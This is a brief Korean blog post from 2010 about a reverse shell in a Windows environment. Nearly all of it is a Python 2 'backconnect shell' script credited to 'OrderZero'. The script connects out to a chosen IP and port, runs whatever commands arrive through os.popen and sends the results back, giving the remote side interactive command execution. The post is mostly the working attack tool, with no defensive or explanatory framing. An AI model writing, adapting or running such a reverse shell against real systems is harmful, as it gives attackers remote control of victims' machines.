2010.09.10 11:41

윈도우 환경 Python 쉘 리바운드

#!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed! Check your connection settings and try again." quit() while(1): data = s.recv(1024) if(data == 'quit\n'): s.close() break else: shell = os.popen(data).read() s.send(shell) print "Exiting..." s.close() #Author: OrderZero

Trackback 0 Comment 0